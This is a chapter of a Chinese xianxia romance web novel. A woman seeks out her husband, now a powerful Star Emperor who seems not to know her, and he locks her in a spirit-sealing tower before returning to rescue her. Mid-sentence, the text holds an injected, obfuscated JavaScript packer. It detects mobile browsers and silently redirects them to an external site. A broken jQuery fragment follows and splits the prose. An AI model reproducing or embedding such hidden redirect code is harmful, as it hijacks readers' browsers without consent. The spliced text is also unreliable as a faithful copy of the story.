洛明依嘴角不听使唤地往上翘,毛绒绒的脑袋在他的锁骨处蹭,他的胸口还是像以前那样温暖宽阔。
心底被一种幸福的感觉填满了。
多日不见,心里正想念他,一抬眸,就发现自己满心满眼的人就在眼前,这种感觉像是走在路上,天空突然间绽放了绚丽的烟火,又像是寻找心爱的书籍,找了很久没找到,却在一次收拾卫生时突然发现了它。
猛烈的,一瞬间的惊喜,让她的舌尖尝到了一丝浓烈的甜味。
她想告诉他,他不在的日子,她干了什么。
每日吃好睡好,晒太阳。
菜地里的青菜又长高了,集市买了老人家做的绿豆糕,软糯香甜……诸如此类的寻常小事。
喉咙里酝酿着未出口的话,她笑容满面抬起脸。
忽然,笑容忽僵住了。
他的眼里没有一丝温度,看她像在看一个死人。
屋子里的杀气暴涨。
侍从们见势不妙,连滚带爬地跑出包厢。
房间里还有一个没什么存在感的男人,跪在地上,一头鲜艳的红头发,脸颊两侧描绘了繁复的奇怪图案,他瞪大眼,极其震惊居然有一个女人不要命地扑到了上首男人怀里。
卫央阑动了一下身体。
红头发的男人感觉了巨大的危险,浑身的寒毛竖成了直线,即使卫央阑压根就没看他一眼,他的额头也冒出了阵阵的冷汗,头也不回从窗户逃走了。
洛明依的脑袋飞快转,怀疑自己眼睛出毛病了。
这不对吧,他怎么一副要杀了她的表情。
难道今天起床的姿势不对?
自己还在做梦?
姑娘家温热柔软的身体依偎在他的怀里,甚至上手试探性地摸了他一把,正常男人都会有点反应,但卫央阑像个假的男人,没有半点怜香惜玉。
他抬起手,骨节突出的手指扣到她的肩膀,下一刻,用了一丝力道,洛明依整个人被掀开了。
天旋地转,她跌坐在冰冷的地上,盆骨磕在地上直发疼。
卫央阑皱起眉头,拍了拍她接触过的衣领,拍走根本不存在的灰尘,面露嫌弃之色。
“你推我?”洛明依抬起僵硬的小脸,不敢置信。
他冷冷地哼了声。
温辞秋好像变了,她说不上是哪里。
以往温柔低垂的脸,换了一副令人胆战心惊的表情,那眼神扫过来时,让她想起了深渊里的可怖怪物。
洛明依的眼眶凝出委屈的绯红:“辞秋……”
卫央阑的手掌凝结了冰霜,本要迅速处理这个冒犯他的女人,忽而听到温辞秋的名字,他的动作一顿,收了力。
他的嗓音冷冽低沉:“你认识温辞秋?”
洛明依歪着脑袋看他:“我是你的妻子,你忘了吗?”
卫央阑顿住。
他眼皮重重跳了一下,嘴里咀嚼着让人意外的词汇:“妻子?”
洛明依点了点头,有些担心:“你怎么好像失忆了?你去西境看病,发生了什么意外吗?”
这么多问题,卫央阑一个都懒得回答,也不屑于回答。
她更加担心了,可能脑子哪里摔坏了,所以话也不说了,刚还喝了挺多酒,万一更严重了怎么办。
哪怕他的模样变得如此可怕,可她的眼睛里,半点不曾露出害怕。
卫央阑活了很多年,手上沾染的鲜血无数,许多人对他恭敬顺从,眼里总是藏着压不住的恐惧和不安,他早已习惯了他们战战兢兢的目光。
如今,有个女人胆子这么大,竟然不怕他。
他盯着她,盯了很长的时间。
这个女人的灵魂,是界外之人。
每个位面都存在壁垒,不可轻易突破,南斗界是一个位面,而南斗界之外还有千千万万个位面,这些位面组成一个庞大复杂的世界,有些位面的人为了获得宝物或者逃脱追杀,会通过一些隐秘的方法进入其他界。
洛明依不知道自己被人看了个底朝天,还在试图唤醒温辞秋的记忆:“你记得吗?我们三年前成婚,住在栖霞谷。你说过一辈子要和我开开心心过日子……”
她的手指抚上他的眼角。
闻言,他的眼皮轻轻地向上挑了挑,没有像刚才那样推开她,撩起了一个果然如此的眼神。
她轻声呼唤:“辞秋……”
他们之间珍贵的三年回忆,成亲相处的点点滴滴,家里养一只叫小橘的猫,两只鸡,和一小片田,田里种了蚕豆。
她用一种轻暖的语调,慢慢将这些讲给他听。
听了这一大段的描述,他变得不耐烦了。
见她再说不出什么有意思的情节,他掐住她的下巴:“界外也学会那些没意思的手段了,你的演技差点火候。”
洛明依呆呆地看着他。
卫央阑垂下眸子,嗤笑道:“勾引男人前,至少先把底细摸清楚了,温辞秋这种人,会喜欢上人?”
旋即挥了挥手,传音给朱雀:
“给我滚回来,把她关进锁灵塔。”
-
锁灵塔顾名思义,是一个锁住灵力的塔楼。
偌大的天机宫,位于南斗界的中心,占地面积相当于一个广阔的国家,有宫殿,树林,山谷,荒野……天机宫统领二百八十个星池,每个星池灵力丰盛,由二百八十位星君分别统治。
锁灵塔建造的地方偏僻,里面关押了得罪过卫央阑,犯了错,各种来历的人。
塔楼越往上,锁灵的机关越丰富,关的人修为就越高。
洛明依被关在了一楼。
一个无边无际的大通铺,灰扑扑的地砖,没有床,没有桌子椅子,没有灯盏,仅仅靠一小扇窗户透出浅浅的日光和月光。
来到这里三天了,她一直想不明白自己为何沦落到这幅落魄境地,无数次告诉自己不要难过。
温辞秋怎么可能关她。
小黑屋强制爱的剧情,他们从来不玩啊。
洛明依觉得,如果这是一场噩梦,快点醒过来吧,老天爷快还给她一个温柔体贴的好男人,她不是关小黑屋文学的受众。
后来,梦始终不醒。
她找了个阳光能照到的角落,抱紧自己的膝盖,尽量让自己好过。
阳光薄薄照到身上,不暖,她开始想念家里厚厚的棉被。
栖霞谷临山傍水,小院的附近长了一片竹林,空气湿润清新,有时太阳出来了,温辞秋收拾被褥,晒到院子里,等夕阳渐渐走到尽头,他便将它们抬回卧室。
她喜欢被褥刚晒好的味道,棉絮晒透了,轻蓬,温暖,像是太阳的气息。
两人相拥躺在床榻间,虽耳鬓厮磨,彼此间却未曾想到那回事,他的宽阔的胸膛,也会染上被褥的味道,淡淡的香,干燥滚烫,让她想在上面打滚。
洛明依安安静静地想他。
明明他对她那么陌生,忘记了他们之间的过去,可她仍然想他。
有个女人走近,坐到她的身边:“喂,新来的,你叫什么名字?”
洛明依迟钝抬头:“……”
“你犯什么事了?”苏元元好奇地支起下巴。
洛明依有些情绪需要发泄,扁了扁嘴巴:“我的夫君失忆了,我告诉他,我是他的妻子,他莫名其妙将我关进这里了。”
苏元元听着稀里糊涂,捂着脸笑道:“你的夫君不会刚好是星宿帝君吧?”
星宿帝君?
洛明依摇头:“我不认识星宿帝君,我的夫君叫温辞秋,他是西境境主的长子。”
“那便是帝君了呀。”苏元元挠了挠脸,“你不知道吗?帝君飞升前的身份。”
洛明依蓦地抬头。
仿若一阵惊雷在耳边炸开,她的耳朵发出尖锐的鸣声,声音忍不住颤抖:“你说什么,南斗界,二十八宿二百八十颗星的大帝,是温辞秋?”
苏元元怜悯地瞥了她一眼,大概觉得这姑娘精神状态有问题。
都自称是帝君妻子了,居然不知道他的帝位。
洛明依浑浑噩噩抱住自己的膝盖,手指一点点蜷缩。
进小黑屋的这三天,她尚且抱有期待和希望,有一天,温辞秋可能会突然打开大门,接她回家。
回到他们认真仔细打理了三年的温暖小家。
可到如今,她发觉自己根本不了解他,他对她那么好,她以为自己是他最亲近的人,却只有她一个人不清楚这层身份。
心脏忽然间填满了悲伤愤怒,变得空空的。
苏元元指了指前面的女人:“你看见她了吗?穿白裙子的,这人也大肆宣扬,她是帝君在凡界的妻子,帝君一怒之下,就把她关进了锁灵塔。”
“他只有一个妻子。”洛明依咬住唇。
“帝君曾在凡间历情劫,大家都传他有一个妻子,据说他的妻子早已轮回了。”苏元元悄声八卦,“所以有些贪图财权的女人,便冒充了他历情劫时期的妻子,前仆后继,你看,这一大片女人,都说自己是他的妻子。”
洛明依:“……”
历情劫?
洛明依的脸顿时气得涨红了。
苏元元摇头:“我搞不懂你们,都已经是过去式了,帝君只手遮天,倘若在乎凡间的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676998|207517||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
妻子,轮回了千八百回也能找到她。他没找,证明他放下了,你们何苦骗他,徒增祸端。”
洛明依一个字都听不进去,她含糊地说了几个字,苏元元听不清。
靠近了,才听到她说的话。
他骗了我。
他骗了我!!
-
洛明依生病发热了。
平时她的身体康健,修士锻体,经过温辞秋的仔细调养和呵护,一年到头下来,一次伤寒都未曾得过,可是环境不同了,锁灵塔锁住了修士的灵力,她喝了两天冷冰冰的水,寒凉地砖上睡了两天,身体受了寒。
她很不舒服,苏元元心好,陪在一边照顾她,为她披上了自己珍藏的薄棉被。
周围的目光不怀好意,也多亏了她的陪伴,挡去了他们的蠢蠢欲动。
洛明依时常昏睡,有时清醒了,问她:“为何对我这么好?”
苏元元回答:“没有那么多的为什么,即使是路边的一只野猫,受了伤,我也会带回家照顾,难道一个人不如一只猫吗?”
洛明依:“你是个好人,为何进了锁灵塔?”
苏元元不好意思地笑笑:“嘿嘿,上次帝君炸了大元星,我骂了他三天三夜,被他听见了,就沦落到这里了。”
“……”
这几天,洛明依昏睡,呢喃温辞秋的名字。
她偶尔清醒时,苏元元好心劝说:“不要再想帝君了,他地位崇高,法力深不可测,以法相天地之身,徒手就能捏爆一颗地星,非我们普通仙子可以肖想。”
洛明依听不进去,声音忍不住带着哭腔:“他和我成亲的时候,做出承诺,以后要给我幸福的生活,他说了,他要好好保护我,好好照顾我。”
话毕,洛明依突然觉得自己这番话挺可笑,陷入了长久的沉默。
苏元元挠头:“哎呀我真不懂你,你这幅受了情伤的样子,差点让我相信你真是帝君的妻子。”
“别想着出去了,关进锁灵塔的人,没一个能成功。这里挺好的,有吃有喝还能从窗外看风景,不用干活,除了没有自由,其他都是优点呢。”
“……”
后来,她对苏元元说的话,被有心人听见,传开了。
锁灵塔的女修们都知道了她被关在这里的原因。
有些女修并不太友好,捂嘴笑:“既然你是帝君的妻子,他为何关你,你生病了,他既不关心你,也不照顾你?”
洛明依没力气去反驳。
“真有人做戏当真,把自己都骗成功了?”
“你们这些凡间的女修不认真修炼,贪图荣华,整天想走捷径。”有个不小心冲撞过帝君的小仙婢低声说,“帝君是什么身份的人,他以前踏着尸山血海一步步提升修为,当上帝君后的残酷手段,说上三天三夜都说不完,一个个跟疯了一样不要命往前冲,自以为自己跟别人不同,呵呵……”
塔楼的大门忽然开了。
略显昏暗的一楼,刺目的光从门□□了进来,一个高大挺拔的男子站在出口处。
方才熙熙攘攘的环境,蓦地一下子安静了下来。
这人脸上戴了一副银鎏黑的面具,边缘打磨锋利,殿外的光经过面具的折射,发出刺目的光点,使得他流畅的下巴模糊了,让人看不清脸庞。
塔楼定格片刻。
过了一会儿,死寂的人群突然爆发出一阵热闹的惊呼声,像是一滴水坠入滚烫的油锅。
每个人目瞪口呆地看着他,好像看见了一个根本不该出现在这里的人。
银鎏黑的面具,是星宿帝君的身份标志。
温辞秋匆匆往里走。
所有人都屏住了呼吸,大殿中,他略显沉重的步伐,清晰得令人无法忽视。
每当他经过那些关押的人,那些人便呼啦啦往两边窜,登时留下一条宽阔的路。
“帝君日理万机,来这里做什么?”有人小心翼翼地低声问周围的同伴。
没人能回答她的话。
下一刻,温辞秋的动作,告诉了她们答案。
他解开了身上的披风,一步当两步,跨过了三处台阶,走到了奄奄一息的绿裙姑娘的身边。
温暖的披风带着他的体温,包裹住她的身体。
温辞秋将洛明依搂进了自己的怀里。
怀里的人半天没有动静,昔日白皙的脸染上了可怜的绯红,那么小一只,轻的像一片枯叶,随风便能飘走。
“依依——”
他紧绷着下颌,强忍愧疚和思念,低下头,用唇角贴了贴她冰凉的唇。
“对不起,让你受苦了。”